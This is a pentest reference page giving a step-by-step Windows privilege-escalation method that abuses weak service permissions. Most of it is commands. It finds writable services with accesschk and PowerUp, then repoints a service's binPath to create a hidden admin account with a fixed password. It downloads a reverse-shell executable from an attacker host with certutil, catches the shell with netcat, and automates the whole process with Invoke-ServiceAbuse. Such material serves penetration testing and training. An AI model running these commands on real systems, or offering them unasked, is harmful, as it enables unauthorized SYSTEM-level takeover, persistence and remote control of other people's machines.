# Weak Service Permissions Privilege Escalation

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/weak-service-permissions-privilege-escalation
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-03-15

Windows services have their own access control lists separate from the binary they run. If your user has `SERVICE_CHANGE_CONFIG` or `SERVICE_ALL_ACCESS` on a service, you can change the binary path to anything: including a payload that runs as SYSTEM. This is distinct from service binary hijacking: you do not need to write to the binary's directory, only to modify the service configuration itself.

## Prerequisites Check

```bash
whoami /all
whoami /groups
```

## Step 1: Find Services with Weak Permissions

**Using accesschk:**

```bash
# Find services current user has write access to
accesschk.exe -uwcqv %USERNAME% * /accepteula 2>nul
accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
```

Look for services showing any of these exploitable permissions:

- `SERVICE_ALL_ACCESS` (full control over the service)
- `SERVICE_CHANGE_CONFIG` (can modify the binary path)
- `WRITE_DAC` (can rewrite the service ACL to grant yourself more access)

**Using PowerUp:**

```powershell
Import-Module .\PowerUp.ps1
Get-ModifiableService
Invoke-ServiceAbuse -Name "VulnerableService"
```

**Manual check for a specific service:**

```bash
accesschk.exe -ucqv VulnerableService /accepteula
```

## Step 2: Confirm the Service Runs as SYSTEM

```bash
sc qc VulnerableService
```

Look for `SERVICE_START_NAME : LocalSystem`. If it runs as a lower-privileged account, this technique escalates only to that account level.

## Step 3: Modify the Binary Path

Change the service's binary path to your payload. The simplest payload adds an admin user:

```bash
sc config VulnerableService binPath= "net user hacker Password123! /add"
sc stop VulnerableService
sc start VulnerableService
```

Note the space after `binPath=`: this is required syntax for `sc config`.

Check if the user was added:

```bash
net user hacker
```

Now add to administrators:

```bash
sc config VulnerableService binPath= "net localgroup administrators hacker /add"
sc stop VulnerableService
sc start VulnerableService
```

## Step 4: Get a Shell

For a reverse shell, first transfer the payload:

```bash
certutil -urlcache -split -f http://$LHOST:8080/shell.exe C:\Windows\Temp\shell.exe
```

Change the binPath:

```bash
sc config VulnerableService binPath= "C:\Windows\Temp\shell.exe"
sc stop VulnerableService
sc start VulnerableService
```

Start your listener:

```bash
nc -lvnp $LPORT
```

## Step 5: Restore the Service

After escalating, restore the original binary path to avoid leaving a broken service:

```bash
sc config VulnerableService binPath= "C:\Original\Path\service.exe"
sc start VulnerableService
```

## Understanding Service Permission Flags

| Permission | Meaning |
| --- | --- |
| `SERVICE_ALL_ACCESS` | Full control: can do everything |
| `SERVICE_CHANGE_CONFIG` | Can modify configuration including binPath |
| `SERVICE_START` | Can start the service |
| `SERVICE_STOP` | Can stop the service |
| `WRITE_DAC` | Can change the service's ACL |
| `WRITE_OWNER` | Can take ownership |

You need at minimum `SERVICE_CHANGE_CONFIG` and `SERVICE_START`/`SERVICE_STOP` (or wait for a reboot with AUTO start type).

## Using PowerUp for One-Step Exploitation

PowerUp's `Invoke-ServiceAbuse` automates the entire process:

```powershell
Import-Module .\PowerUp.ps1

# Add a local admin user automatically
Invoke-ServiceAbuse -Name "VulnerableService" -UserName hacker -Password Password123!

# Or run a custom command
Invoke-ServiceAbuse -Name "VulnerableService" -Command "net localgroup administrators hacker /add"
```

## References

- [Service Security and Access Rights](https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights) - Microsoft Docs Full reference for service permission flags and their meanings.
- [accesschk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) - Sysinternals Service permission enumeration and verification.